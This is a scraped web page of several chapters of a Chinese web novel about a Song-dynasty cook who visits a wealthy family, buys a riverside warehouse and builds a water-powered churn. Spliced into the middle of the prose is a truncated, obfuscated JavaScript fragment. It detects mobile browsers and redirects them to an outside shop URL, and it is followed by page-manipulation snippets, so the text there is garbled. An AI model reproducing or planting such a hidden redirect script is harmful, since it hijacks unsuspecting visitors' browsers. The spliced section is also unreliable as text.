老夫人眼看晚饭将至索性留着宓凤娘吃了顿饭:“我家都是寻常菜式你吃吃看与你女儿手艺比如何。” 席间宓凤娘自然是大惊小怪处处恭维了老夫人一回。 等吃完饭喝茶时老夫人已经能亲亲热热挽起宓凤娘的手了。宓凤娘也亲热挽起她臂弯:“要不是小的出身贫寒一定要斗胆拜老夫人做个干姐姐。” “我这年纪你要认也是认干娘。”老夫人乐呵呵。 “您虽然老说自己年纪大可我瞧着咱两人年纪差不多。若是认个干娘说出去别人还当我为了钱财做吕布呢。”宓凤娘说得面不改色。 叶盏毫不怀疑再待几天娘能掏空老夫人大半的家产。 偏这时候听外面通禀:“回老夫人四少爷下学了听说您这里有客人要过来看看。” 叶盏心跳了跳。不由自主攥紧了正拉着玉姐儿的手玉姐儿纳闷瞧了妹妹一眼。 几个姑娘面上神情不虞大房人丁稀薄排序不分男女大夫人生了她们三个女儿后小妾才生了个四少爷自小就被宠得如宝如珠没少得罪这些姐妹。 大夫人神情却不变反而一脸慈爱好像真的是发自内心疼惜这个儿子:“快去厨房端一碟子点心给少爷垫垫别饿着了肚子。” 老夫人则摇摇头:“告诉他不许 又训诫大夫人:“你也平日里多管教着他别一味偏疼他。” 大夫人赔笑:“是媳 妇愚钝了总觉得老爷和我膝下就这么一点根苗难免骄纵了他。” 老夫人摇摇头没搭话倒是跟宓凤娘解释:“是我的孙子听说了有客来凑凑热闹。” 三娘子扇着扇子嘴角带笑心里却在骂哪里是来凑热闹多半是听说来了对姐妹花来看四少爷惯常喜欢跟丫鬟们搅在一起丫鬟们都说他是个怜香惜玉的人她却觉得那人不过是个色中恶魔。 宓凤娘却会接话:“老太太这么有福气孙儿这个时辰刚苦读下学这诰命是不是又得往上加?” 惹得老太太高兴不已。 等喝完茶宓凤娘看着老夫人流露了疲态识趣得起身告别:“不敢打扰老夫人休息。” 她这么有眼力见老夫人更喜欢她:“你既然喜欢裱画的缎子就叫她们给你拿半匹那是宫里流出来的贡品回家做棉袄外披也成。” 又吩咐手下人:“我们既吃了宓婶子送来的菜蔬也回赠几口袋我们自己庄子送来的干货。” 刚才说到南北干货杜老夫人听了三娘子送了叶盏半盘子干货让店里生意大好一时觉得脸上有光便道:“这有何难回去再给你装上些不值当什么钱都是自家庄子晒好送来的。” 还叫人送几把掉下来的孔雀尾羽给宓凤娘:“鸟身上掉下来的毛不值当什么给宓婶子带回家插花瓶好看。” 杜家老夫人开口了下面的媳妇、孙媳妇当然是跟着凑趣。 这个说好要送几件旧衣裳那个从腰间解个荷包。各个都有表示。 从老夫人房里出来叶盏掏了些银钱买通了带路的仆从顺路探望了花园里扫地的孙婆子 孙婆子年老体弱看见叶盏过来探望眼皮子阖动高兴得连连说“好好” 上次叶盏往杜府送东西时也给她送了两提油纸包包着的点心这回看见就知道孙婆子将点心吃完后油纸整整齐齐铺平压在炕席下面捆绑油纸包的麻绳都洗干净晾干在木窗台上。 杜家虽然富贵可不得势的丫鬟婆子过得仍旧是穷日子连一张油纸、一根麻绳都舍不得扔攒着等待有用时。 “也就这回看看你下回也不知道我老婆子还活着不曾。”孙婆子连连攥着她的手。 叶盏心中不忍这样老婆子再过些年纪就会被统一送往田庄上外面有个好听的名头叫给老仆人养老送终实则是等着他们自生自灭不过即使如此她们这些仆人也觉得这就是好归宿了也能得个全尸死了进杜家给仆人集中安排的一处墓地比流落外面好。 她回握孙婆子的手:“回头我一定再来看您。” 叶家人直到太阳西斜才从杜家出来进杜家不过拿了一车果蔬回来时倒拿了好多东西在门口雇了辆车才到家里。 宓凤娘春光满面。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272446|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回家后叶大富正做饭呢煮了面条一开锅热气腾腾。 叶盏要接过围裙:“爹您怎么在做饭?” “我做饭你们累了一天回家正好有现成饭菜可以吃。”叶大富不给她围裙反挥挥手示意她去休息“知道你会做饭可不能叫你天天做饭给家里吃那得多累?” 叶盏只好口述让他做了一条橘香红烧青鱼。 这青鱼也是从杜家拿来的过夜担心放不住 烧热铁锅后放入葱白各色调料煎得青鱼外面鱼皮变得焦黄时再加最重要的配料腌橘炒制有锅气后加青鱼炒制爆香后加水。 最后勾芡起锅。 这道菜是一道粤菜菜式不难适合叶大富这种有烹饪基础的人。 橘香红烧青鱼上桌搭配着煮好的小米面面条正好。 玉姐儿舀一勺鱼肉鱼汤倒在热气腾腾的面条上闻了闻散发的滋味:“好香好酸正好开胃。” 腌橘又酸又清冽酸酸的腌制汁水浸泡在米黄色的面条上正好给面条带来不一样的滋味。 好看的蒜瓣肉用筷子一掰就掉了下来吃一口鱼肉软软嫩嫩鱼片焦黄有韧劲格外好吃。 宓凤娘便点头称赞:“你爹跟着你倒也能多学点厨艺。”原先她进厨房频繁事故便改成了由叶大富做饭可他的水平也就是能做熟没想到这回叶盏教导居然让这个外行都能做出这样水平的饭菜。 叶大富面露骄矜:“娘子喜欢就好。” 叶盏和玉姐儿:……饱了谢谢。 叶盏倒有一桩事问宓凤娘:“娘这启蒙的书我们可以上外头书铺买反正又不考状元便是浅 显些也能读,为何非要找杜家要,不是欠了个人情吗?” “就是要欠人情。”宓凤娘吃了一口鱼,抿了一口黄酒(如今叶盏已经不让她喝白酒了,她只能喝点黄酒)。 她指点起来儿女们:“你们在外行事千万不要怕欠别人人情,只有读书读多了的书呆子才会怕欠人人情,宁可自己苦死累死都不对外求助,只自己死扛着。” “人情就是欠着欠着才能亲热的。”叶大富也点点头。 “今日杜家借书给我们,我们欠了杜家人情,明天我们买些谢礼,不就有正儿八经的理由登门道谢了吗?杜家觉得我们知恩图报肯定会招待我们,到时候我们第二次不是又有理由登门了吗?” "这登门几个来回,互相赠送礼物过个半年,双方不就有了羁绊了吗?有羁绊是不是比现在君子之交两不打扰要更加亲密?"宓凤娘问叶盏。 叶盏点点头。还真是。 “人情往来,不就是这么走动起来的吗?”宓凤娘晃晃酒杯,“你们啊,要学得还有很多。” “再说了,书多贵啊。你们几个看完之后我们要么卖了要么做传家宝,以后我们也能充充书香门第。” 可以,这很宓凤娘。 叶大富乐呵呵:“还是媳妇能干,听说今天还说定了要给杜老夫人送些点心过去?” “是啊。”宓凤娘渐渐微醺,有了醉意上来,眼睛也有些迷离,“这不就是往来吗?” “娘,非得去杜家吗?”玉姐儿看了叶盏一眼,“我倒觉得那个杜家太乱了,给他们送回礼便是,别再做点心了。” “那可不成,有了点心才更亲近呢。”宓凤娘不同意,“说起来,我们今天可带了不少东西回来呢。” 说到这里她翻身爬起来。开始清点今天的战利品。 先是吃食,拿了半匣子内造的点心,一匣子半杜家家传的点心。这是因着内造点心样式只剩下半盒子了,当家少夫人嫌送人不好看,又叫用家传点心补上了。 除此之外就是首饰衣裳。收获最大的就是老夫人送的金钗、金手串。再就是半匹缎子,摊开在阳光下亮闪闪,直晃人的眼睛,也不知道是什么蚕丝做的缎面,看着就价值不菲。 其余夫人和媳妇子也拉拉杂杂送了不少,有银做的耳挖子 有穿过一次还未下过水的锦缎满绣衣裳有两匹细布。 最重要的是拿了十几本书出来叶盏看了看目录似乎应当是杜家自己编撰的儿童启蒙书放在现代这种书没什么 而且银哥儿翻开了这书的内容看着居然内容挺深并不是儿童启蒙甚至适合他的文化程度继续往下看。 总归是收获满满。 宓凤娘看着摆了满炕头的东西乐得合不拢嘴:“真是时运到了一天比一天赚得多。” 她志满意得:“看看何兰翠往来的是什么人我们往来的是什么人叫她眼红死!” 谁知刚说完何兰翠就听得外面巷子里有人大声叫骂:“宓凤娘你个贱婆娘给我出来!” 听声音正是何兰翠的声音。 宓凤娘赶紧把金银器物藏起来在上面堆上家常破被子撒了两件旧衣裳这才将头发一抿随手拎了把趁手的火捅子就往外跑:“怎么有人寻我?” 临危不惧非常有大将气质。 叶家人也跟着赶紧出门去瞧。不知道这个何兰翠又在闹什么。 何兰翠一副有备而来的架势:袖子挽得老高人也气势汹汹活像一只要来战斗的斗鸡脖子梗起眼睛瞪得铜铃样满面的怒容:“好你个宓凤娘你干得好事!” “你说这话我就不懂了我哪天没干好事?”宓凤娘不慌不忙迎战“谁不知道我宓凤娘最是个行善积德的良善之辈哪天我不是干上好几件好事。” “你!?”何兰翠就没有一次斗嘴斗过宓凤娘的当即哑口。可她很快就想起自己这次来的主要目的“宓凤娘你坏了我儿姻缘!” 作者有话要说 ①一两金折合十两银子实际上这个价格在不断随着时代发展上涨此处取中间值。《唐宋时代之金银研究》 大姨妈所以今天没有加更明天九点见 第 47 章 酒醋三腰子 第47章酒醋三腰子 何兰翠哪里肯罢休:“我儿子好好的亲事就这么闹没了,我还当是阮家人有眼不识泰山,谁知道你个贼猪狗在里面捣乱!” 到手的鸭子飞了,还害得她在炭场巷丢了人,许久都抬不起头来,何兰翠在床上哼哼唧唧躺了七八天,四处躲着人。 谁知前几天她遇见银哥儿手里拎着两个荷叶包,从里面散发出来的味道判断,明显里面包着的是酱鸭子。 “怎得宓凤娘那个老货忽然变阔了?”何兰翠不信宓凤娘会忽然买得起酱鸭子,断定其中有鬼。 便鬼鬼祟祟跟在银哥儿身后,结果跟着他到了阮家。 何兰翠眼睁睁看着银哥儿进了阮家香水行的门,没多久又看着阮婶子笑着把他送出来,还给他手里塞了一个布兜,布兜里满满当当塞满了好几个脸盘大的葵花籽盘。 一看就是熟人。 何兰翠一下就想明白了,怪不得阮家不在炭场巷却能对她儿子的劣迹了如指掌呢,原来是宓凤娘跟她通风报信。 好啊,好你个宓凤娘! 何兰翠还能受这个气?当即气势汹汹就杀到了叶家。 宓凤娘面不改色:“你儿亲事打水漂是因着你家不厚道,那边骗人家要入赘,这边骗街坊说要娶妻,预备又不丢面子又不丢里子的将这件事办了,存着生米煮成熟饭后再闹的龌龊心思,与我有什么干系?” 她又问旁边围观过来看热闹的街坊:“诸位当初都是与我一起看明白来龙去脉的,是也不是?” 有一两个胆大的嫂子点头:“没错。” 还有些早就交头接耳回忆起那件事,你一言我一句力图还原事件真相。 宓凤娘便似笑非笑觑了何兰翠一眼:“好容易事端平息,怎得又提起这事?莫非你是嫌大家忘得快又帮我们温习一遍?” 何兰翠看着大家又开始议论起这件事,银牙都要咬碎了:“旁的不提,你跟阮家交好是真,一定是你这厮跟她通风报信!” 宓凤娘也不藏着掖着,大大方方承认:“是啊,我是与阮家婶子交好,可你儿子四处作孽,她随便寻个街坊就能打听到。又干我什么事?” “我是做媒的,这成亲之前男方女 方互相打听家人处事最常见不过,难道你以后不打听? “你不拦着你儿子作孽,反倒把我们这些知情人的嘴巴堵死,怎么,这条街的街坊邻居不能说话了? 几句话噼里啪啦就甩到何兰翠脸上,噎得她说不出话来。 偏偏这时候街坊邻居们也开口了:“是啊。你管天管地还管的着我们老百姓拉屎放屁? “我们天天说嘴,连官家圣人都议论过,也没见官家派金吾卫将我们捉进大理寺监牢。 汴京城墙跟下人家,自带傲气,上点评官家、下议论邻居家黑猪,谁都不服气,自在惯了,受不得何兰翠这么霸道。 众怒难消,何兰翠看了一圈,她以后毕竟还要在巷子里做人,当即狠狠瞪了宓凤娘一眼:“我们走着瞧! 宓凤娘才不怕她呢,她如今又认识了几位贵人,还有了大一笔进账,再有一干杜府下人的说媒生意,怕什么何兰翠? 这次去杜家的收获约莫有十贯钱,宓凤娘将两个首饰还给两个女儿:“这是你们自己得的,归你们自己所有。 玉姐儿将那个金手串给了叶璃:“妹妹手腕子白,带这个更好看。再就是她听说金能辟邪,叶璃天天与那些神秘之物打交道戴着能避开些无妄之灾。只不过她觑觑宓凤娘脸色,没把这句话说出口。 叶盏对这钱倒有自己的安排:“我要去买塌房①。 “塌房?那个作甚?宓凤娘不解。 叶大富也胡乱猜测:“难道是想存储菜蔬?可如今每隔一天都送新鲜的进城里,不应当啊。 “到时候爹娘就知道了。叶盏笑眯眯,并不正面回答。 她想买一个塌房改造成水动力工坊,做奶油和黄油、奶酪这些奶制品,方便日后扩大经营范围。 如今店里有定食、自助形式,菜式层出不穷,在这片算是小有名气,只不过要更上一层楼就必须拿出更新颖的菜式。 汴京城内外有不少塌房,建造在河水之上,下面有立柱矗立在河泥里,借用河水的凉意方便储藏不怕潮湿的货物。 叶盏四下寻找,终于在旧郑门临着汴河一处不大显眼的河边寻到了合适的塌房。 这里塌房大约建造了几百间,密密麻麻排在水面上很是壮观, 听房屋经纪说,这些塌房的主人迷上了奇石,到处花钱买石头,因此需要出售这一批塌房,只不过挂售了半年,也无人问津。 要是有钱的话,这一批塌房是一笔稳赚不赔的买卖。 汴京城里最怕火灾,木质房子一旦燃烧起来就挺不下来,若是出了火灾整间房都会被燃尽。 而塌房建造在水面上,天然就防火,就算着火了随时汲水灭火也方便。 再就是塌房作为一种资产,具有极高的资产回报率。 须知按照大宋的规矩,租赁塌房要分两部分钱,一部分是赁金,一部分是管巡廊钱会,类似现代的物业管理费。 也就是说租出去后还能定期收物业费,一间房赚两遍钱,很划算。 叶盏当然没有那么多胃口吃得下这许多塌房,只要买一间。 房屋经纪倒好说话:“我帮娘子从旁说合,定能叫你满意。 房主人果然不愿意卖,他要的是大批量购买的客户,这样一间一间拆开卖,这几百间要卖到猴年马月去?连见叶盏都不愿意见。 到底还是房屋经纪舌灿莲花巧舌如簧,说动了房主人。他这才不情不愿来跟叶盏面谈。 那房主人很傲慢:“听说你们只买一间,还是别费这个功夫了,我不愿意。 叶盏对房主人的冷脸并不放在心里。因为房屋价钱很划算,这塌房一间要三贯银子,放在汴京简直就是白送。 玉姐儿看得直冒恼火:这人怎么这般放肆自大? 再看看这位房主人,穿着月白色遍地锦的直裰,腰间挂着白玉佩,就连脚上的鞋子都是细布所做,便知这人家境优渥。 哼,有钱就能出言不逊吗? 玉姐儿想教训教训这个不知天高地厚的人,却想想两姐妹看了好几天房子,遇到的塌房不是太偏就是太贵,便生生把自己的怒火抚平下来。 嘴里默念着妹妹教导自己的一句话:“钱难挣,屎难吃。,在心中反复背诵一百遍。 叶盏安然若素,只笑着说服对方:“我只买一间,可我买的是独立于其他塌房的那一间,没了我这个零头,您那排塌房看着更齐整了不是么? 那人哼了一声,并不反驳。 叶盏又笑:“我听闻您的塌房卖了半年,也未曾卖 出去 那人嗯了一声语气已见松动。他的确因为这件事很是上火奈何这半年是问询的人多真正购买的人基本没有。 “您想过塌房为什么卖不出去么?京中有四条河流每条河流上都建造了大量塌房旧郑门这一片如今商业凋零商业冷清所以租赁塌房的人少大家宁愿去贵些的州桥夜市附近租赁塌房。” 房主人这回已经是认真倾听了。显然很认可叶盏的话。 “我买了塌房要改造成食肆生意定会红火其他人必然也会打听这一片生意好了您的塌房就会有人来租赁有了人赁自然就有人愿意当房东。” 房主人微微点头不过转念一想又问:“你哪里来的把握做生意必然会红火?” 这时候玉姐儿再也忍不住了:“我家就在州桥夜市叫叶二姐食肆你一打听便知远近闻名。” 那人看了一眼玉姐儿似乎很纳闷她为什么会忽然蹦豆子一般说话但也礼貌点点头:“既如此我便去看看。” 一场谈话就这么散了中人安慰叶盏:“这位公子出身富贵不大精通庶务因此说话多有冒犯还请您不要放在心上。” 叶盏还没顾上说话就听玉姐儿回答:“无妨钱能挣屎能吃。” 谁知那位房主人又走进来:“折扇遗下了。” 玉姐儿:…… 只好装没说过这句话。 还当再也不会见到这个人了谁知第二天他居然出现在食肆门口。 叶盏以寻常心对待将他当做一个普通客人:“这位客人要吃些什么?” 房主人随手点了两道菜:“就要这两份吧。”看着名字很是雅致一道叫做松下问泉一道叫做酒醋三色不知道是什么菜肴。 松下问泉原来是松蘑炒墨鱼干。山间松树下的松蘑混杂着产自海洋之滨的墨鱼干上面盖两片荆芥叶子滴上两滴奶白的浓汤做点缀。 摆盘很精致吃起来也清淡爽口一点点淡淡的莳萝籽香气与柔和的松蘑香气形成了剧烈对比让人似乎置身于松树山间很是清新。 第二道菜叫酒醋三色 等端上来房主人不由得失笑原来这道菜是时下流行的酒醋三腰子④。 这道菜 是宋人习惯吃的食物,以羊腰子、猪腰子、鸭腰子爆炒为主。 仆从想要将这道菜撤下,却被房主人叫停:“留下让我试试。 刚才这道松下问泉意外很合他的胃口,因此让他对这道酒醋三色产生了浓厚的兴趣。 三种不同动物的腰子被仔细清洗过,剥去了腥膻气味来源的白色筋膜,再用大火爆炒过。 随后被铺在了一方炖至极烂而锋棱不倒的冬瓜上。 吃上一口能尝出腰片的滋味水汪汪、软嫩嫩的,应当是店主烹饪时把握住了火候,巧妙锁住了水分,让肉质不至于变老。 而且是熟悉的菜式,但仍旧被改良过,羊腰子采用在炭火上炙烤的方式;猪腰则被片成了薄花,与辣茱萸、紫苏一起爆炒,去处了腥味;鸭腰索性搭配了甜笋。 三种菜被放在了冬瓜上,上面撒了薄薄一层酒醋。 吃起来几种做法各有千秋,明明是三种做法却一点都不冲突,满口脆爽和烟火气。 下面垫着的冬瓜也很有意思,居然沾染了几种菜不同的滋味,吃一口肥厚的冬瓜片很是绵软,滋味多元,让人回念起刚才吃过的菜式。 新做法让人产生了惊喜感,仿佛看到一位穿戴一新的老朋友。 房主人居然吃了不少。 过一会拱手作揖:“在下闵穆。先前多有得罪,还请店主莫要放在心上。 玉姐儿才不管他叫什么,哼了一声:“饭钱别赖账就好。 闵穆抬头看玉姐儿,诧异,随后淡笑:“不会赖账的,姑娘放心。 下午中人就来寻叶盏,说是闵穆愿意卖房了。 叶盏便带着玉姐儿前去履约,果然闵穆等在河边,见她们过来便笑着给她们打招呼。 又说:“我去过二姐食肆,有这一手手艺想必必然会将这一爿都带得繁荣起来。 “那是自然。玉姐儿在心里嘀咕了一声,想到闵穆这回同意卖房了,生怕多说几句让他改变主意,因此不敢说出口。 却没想到抬起头,就撞见闵穆正笑着看自己,那双眼睛一派了然的意思,似乎已经捕捉到了她内心的吐槽。 玉姐儿脸“唰一下就红了。 接下来她没敢再抬头看闵穆。 叶盏就觉得姐姐今天 怪怪的,不过她要专心看契约、检查塌房,腾不出神去琢磨旁的,也没留意。 这间塌房单独建在几排塌房之外,单单独独一间房,看着很是清静。 只有门前一根木板搭在几根矗立在河中的木柱子上,算是个简易的“桥。 叶盏先去塌房内检查了一遍,看看有无蛀虫,有无掉漆,再看看是否潮湿发霉。 确定都没有后又从岸边招手赁了一艘船。再坐船绕着塌房四柱看了看,确认没有腐朽之处才作罢。 中人便笑:“叶二姐太过谨慎,这些我们做经纪的都要提前检查过,必然要无误,否则不是砸了自己招牌。 “谨慎些也好。 玉姐儿在心里想,这回终于会说人话了? 却不敢再抬头看对方。 叶盏核算无误后,便通过中人支付了银钱,闵穆叫管塌房的管事给了她钥匙,两人就算是交割完毕。 叶盏回家后将契书好好收了起来,压在书本下妥善放进木盒里 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外面街巷热闹,市声鼎沸,没有人留意她这句话,可宓凤娘还是高兴得眼睛亮晶晶的。 “是啊,我们老叶家的祖坟这是冒青烟了!”叶大富立刻决定,“下次我回老家时要好好拜拜祖宗。” 几位兄弟姐妹也齐齐向叶盏恭喜:“不管大小,总归是一片栖身之地,以后还会更好。” 宓凤娘连夜手缝了一个锦袋,叫叶盏把装契书的盒子放进袋里好保存,锦袋上还绣了叶盏的名字,绣着一堆花。 金哥儿和银哥儿两人合资给叶盏买了一个香樟木小木盒,据说能芳香防蛀虫。 叶璃则正儿八经给叶盏画了个防火符,说是挂在塌房里就能防止火灾。 叶盏拿着这一堆礼物,被家里人的煞有其事逗得心中好笑。 前世她过五关斩六将升职、拿烹饪大奖、拿高薪、买车、买房,获得了许多比这间破仓库还要多好多的荣誉和成功,但没有人在那里等她。 这不过是一间水上的破仓库,还要整修呢,连个正式房舍都算不上。 她想笑,可是嘴一咧开,眼泪“吧嗒”一下掉下来了。 买定了塌房,还要付出大精力去整修。 叶盏想的是将塌房改造成水力工坊。 做奶油、黄油、奶酪这些从技术上没什么难的,只不过要把牛奶做到油水分离需要极长的时间和臂力。 上次她忽发奇想在家里做一次黄油,有两位哥哥和爹帮忙,仍旧是让三人都齐齐嚷嚷着胳膊疼。 要开店,大批量提供这些原料,那依靠人力就不可行,还是要依靠机械的力量。 叶盏第一次想到的是蒸汽。 奈何她是物理学渣,也没信心超越时代在大宋发明蒸汽机,最后退而求其次,把目光移到了水力上。 大宋居民对水力的利用度很高,发明了一堆利用水力的机器:比如筒车汲水、拔车、桔槔、辘轳②,这些都能从江河湖海中取水,用于灌溉。 其中还有水磨坊,水磨坊中的水碓、水碾可以来给稻谷去皮,水磨可以磨面。 还有水力纺车②,能用水力纺纱织布。 叶盏这是小机器,也用不到那许多大型机械,因此应该制造难度并不高。 她便去寻了巷口的木匠, 这位木匠正生意萧条呢,前段时间叶大富造的“防风炉”风靡汴京,铁匠们纷纷追随叶大富步伐造同款 ,木匠也跟着分一杯羹,造出了“木头版防风炉,价钱能砍下三分之一。 奈何全城铁匠木匠都在疯狂制造,因此市场上产品泛滥,木匠投入了大成本造出了防风炉此时只能滞销。 因此急需回本的他在听说叶盏的构思后,立刻痛痛快快答应了“能造出来,可以。 叶盏给他画了图纸,索性一天往木匠铺跑三四次跟木匠每个进度都沟通一遍,在她的认真鞭策下木匠终于做出了实物。 东西安装在塌房里,叶家人全部过去帮忙。 只见塌房地上挖了一个大洞内置大水缸,直接能看见下面的河流,水缸里一根笔直的木轴,木轴上下是一模一样的滚轮,左侧水流横冲直撞灌入大水缸,下面的滚轮被外来水冲击,整个木轴上面滚轮也跟着转了起来。 上面滚轮又通过齿轮跟侧面一个小滚轮转动。这样齿轮转动装置带动搅拌轴转动。 搅拌轴下面放着一个木桶。 叶盏将一罐清水放入木桶,随后转动轴承,这套装置便也随着水流的冲击开始工作。 “吆!真转起来了。宓凤娘瞪圆了眼睛。 “是啊,这水缸内里左高右低,有水流差,河流从上游流下,自然而然就能形成水落差,也就能带动搅拌。 可惜这个年代没有电,不能制造电动搅拌棒,叶盏只能退而求其次,用这个水力搅动棒。 “现在只用清水来做实验,等我真做菜的时候放入木桶的是牛乳。叶盏给家人解释,“牛乳大力搅拌,再经一系列工序会做出各种奶制品,到时候全部是做菜的原料。 "有了这么多原料,我们食肆的生意一定又能上个台阶吧?"玉姐儿很是期待。 “你每次要用这么多牛乳吗?叶大富好奇发问,“这么些牛乳也不便宜呢。 “是,等开店后,这些牛乳说不定也会供不应求。 她一脸笃定,似乎对成功已经成竹在胸,叶家人虽然有点担心,但还是选择了叶盏,听从她的吩咐继续帮忙修整塌房。 这塌房要修葺的地方很多:先用扫把把蜘蛛网等扫干净,坏掉的木板要替换掉,还要刷生石灰水刷墙,糊墙。 作者有话要说 感谢大家指正,虽然我才疏学浅,但我很爱这个故事,会用心书写这个故事的。感谢陪伴,鞠躬。 姨妈痛,吃了止痛药码的字,所以明天很有可能还是没有加更,明晚九点见。 ①《都城纪胜·坊院》塌房:储货的仓库 ②出自《天工开物》 ③《王祯农书》 ④酒醋三腰子《玉食批》 第 48 章 蛋糕 第48章蛋糕 塌房修葺完毕,立刻看上去四壁一新,很是洁净。 随后便是砌炉灶,叶大富动用自己丰富的人脉关系从城外砖瓦窑便宜买了些青砖。 金哥儿和银哥儿两位哥哥帮着叶盏砌炉子,一个是寻常灶房的炉灶,另一个便有些奇怪了:圆形的大肚子,高挺的炉灶,下面有个添柴口。 根据叶盏的描述:“这个叫做烤炉。” “倒在大食人食肆那里见过类似的。”金哥儿回忆起自己经过藩坊时看见过西域人烤馕时挖的馕坑,似乎和妹妹这个原理一样,只不过自家做的不在地下,在外面单独砌了个炉灶。 砌好了两个灶眼,已经很像样了。 只不过这只是第一步,第二步就是打隔断。叶盏拿了十文钱买了两块竹板,惹得叶大富喟叹“在汴京城连竹板都要花钱买”,要是在叶家村他拿把砍刀出去就能拖回来一堆竹竿。 竹板将小小的塌房隔离成前店后工坊,后面是烹饪工具,前面则是小小的矮木柜充任柜台。 屋后有个矮窗,比踢脚线高不了多少,方便运输。这样每次打发好了牛乳,窗外寻个船夫就能拿走,一撑船蒿就能到叶二姐食肆那里,方便叶盏直接开始做菜。 家里人对这个工坊的设置没有任何异议,只是对店铺有点怀疑。 银哥儿不解:“你这塌房怎么开店?要走半截子桥才能到塌房里,这客流量多时不得摩肩擦踵?挤下去一个进河里怎么办?” “再说水工坊里的牛乳制品不就能送到食肆那里去么?哪里还需要再开一个分店?”金哥儿跟着问。 家人们你一言我一语,腹内各个都是问题。 叶盏笑着解释:“以后店里推出牛乳菜之后,肯定周围店铺会渐渐兴起牛乳菜,但他们又不会做,当然要找我们叶二姐食肆进货,到时候我们岂不是又赚一笔?” “可是,我们自家只此一家不好么?”玉姐儿想垄断,这些天跟着叶盏耳濡目染,她已经会了不少商业思维。 “对啊。”宓凤娘也不同意,“我们卖原料给旁人,哪里有卖成品给旁人贵?” 想也知道,叶盏卖一份奶油和卖一份奶油菜是两个价格。 “ 爹娘难道现在城里就没这玩意么?”叶盏笑笑。 汴京市面上也有乳糕、乳汤、乳酪这样的牛乳菜和甜点而且本地大食波斯商人居住的藩坊也有酸奶油、奶饼这样的特产。 叶二姐食肆的牛乳才能够独一份全靠来自现代的商业嗅觉还有建立在中西方多少年历史上的积淀 如果牛乳菜走红汴京那叶盏敢打保证市面上不到两三天就有人能琢磨出同样的奶油、黄油做法。 “就像爹以前做的防风炉现在不是已经烂大街了?”玉姐儿脑子快已经想明白了其中的端倪。 叶盏赞同点点头:“当商家想跟风时一种是从市面上订购一种是自己想办法琢磨只要市面上订购的价格不离谱根据人的惰性都会选择直接订购。等再过一段时间再会有更下沉一级的商家会盯准这个生意可这时候我们家已经成了招牌他就算再仿造也无用。” 一番商业计划让叶家人全体都心服口服。 “只不过……” “只不过盏儿啊你这计划得头头是道怎么就那么笃定那个牛乳菜会成功呢?”叶大富到底还是指出了最关键点。 牛乳油腻腻又无味很多人都吃不惯里面的膻味甚至在滋补市场上远远没有羊乳更加深入人心。叶家人自然想象不出来牛乳菜如何能风靡市场。 叶盏笑:“正巧我要试菜大家尝一尝便知道。” 玉姐儿欢呼一声:还有这等好事?! 先去市面上订购牛乳。 叶盏去了藩坊寻了那长居此处已和汉人通婚的大食人跟他们定制了一份牛乳。 那户人家往来大食和汴京做生意家里已经颇为富裕还特意在京郊建了庄子养了牛听说牛的品种是特意培育出来的产奶牛。 听说叶盏每日要定制一桶牛乳日后还要加购便点头同意:“一桶一百文。” “这么贵?”玉姐儿倒吸一口气。一百文足够五个人过一天了。 叶盏盘算下盛放牛乳的木桶很大算得上寻常老百姓挑水的木桶三倍想想也算划算。便开口讨价还价:“八十文如何?” 那大食人想了又想。 他们家 的牛乳固定产出喝不完还要低价卖给宋人。 这一桶零售能卖一百二十文 再说有时候卖不出去牛乳放坏了只能自家做成酸奶疙瘩来来去去的折腾麻烦 还不如总体卖出去呢。 因此大食人点点头:“八十文就八十文。” 叶盏又加了五文钱请他每天派人送到塌房处那大食人问清楚塌房是在汴河上交通运输便利再加上多了五文算是意外之喜便也欣然答应了。 这么一回让叶家人不得不佩服叶盏的议价能力玉姐儿更是道:“要是我的话肯定会一口气还价到八十五文还想不起来让他给我送货上门。” 叶璃也歪着头琢磨:“就算想起来让他送货上门他也不一定答应得这么痛快后期拖拖拉拉肯定会懈怠。” 反正八十五文钱已经到手自然就没有太大动力去送货日子久了有一两天懈怠也正常。 可是叶盏这么一处理同样也是花了八十文在大食人看来就不一样似乎意外之喜多了五文钱而且这五文钱是单独运输的费用要拿到这笔钱就要好好运输。 买完了牛乳又去买糖霜。 叶盏要做西点众所周知西方人对甜点的称赞就是“甜”齁死人的甜。因此糖霜必不可少。 此时大宋市场上的糖霜分为好多产地的福唐、四明、番禺、广汉、遂宁等等各种产地①宓凤娘作为生活小行家一下就给女儿拍板:“买遂宁糖霜那是市面上最好的糖霜。” 她这话一说糖霜行老板一下就明白了是行家自然就将那些次一等的糖霜藏起来。 非但如此宓凤娘还要讨价还价硬生生将价格砍掉了三文。 玉姐儿拿了饶下来的三文钱去买了三杯甘草冰雪凉水娘三个一人一杯夏天捧着喝正好消暑乘凉可喝完后宓凤娘又掏出一杯:“再买一杯带走。” “给爹买的?”玉姐儿蹙眉。 “给他个大老粗买什么。”宓凤娘笑眯眯“给你妹妹买的。” 玉姐儿“嗷”一声和叶盏两人激动对视齐齐问宓凤娘:“娘您不生小妹气啦?” “气什么?难不成我是个气祖宗?”宓凤娘佯装生气,“倒是那孩子生我气才是,回头我还要去寻她赔礼道歉。啧啧啧,现在这个年月,做爹娘的倒要给儿女赔不是,当真是反了天堂,倒反天罡……” 嘴里假装抱怨,腿上却没停,拎了甘草冰雪凉水就去寻小女儿道歉,想了想又叫店家:“再来一杯。” “这杯要做得精细干净些,璃姐儿的师傅是修道之人呢。不许沾荤腥植物。”宓凤娘念叨着。 玉姐儿和叶盏站在娘后面,一会对视傻笑,一会看着娘的背影傻乐,捧着两杯甘草冰雪凉水快化了都浑然不觉,明明里面的冰块都变成了小块,砍下来的竹筒容器外面遇到空气凝结了一层水汽,水汽汇集了从两人手里流下来,滴答答落到街道的青石板上。 宓凤娘浑然不觉身后两个女儿激动得眼眶发红双双酝酿着喷涌的感情,似乎自己去寻小女儿道歉只是在做再寻常不过的事情,只专心跟店家砍价:“小二,我买了五杯,这第五杯的价格你好意思收我的吗?” 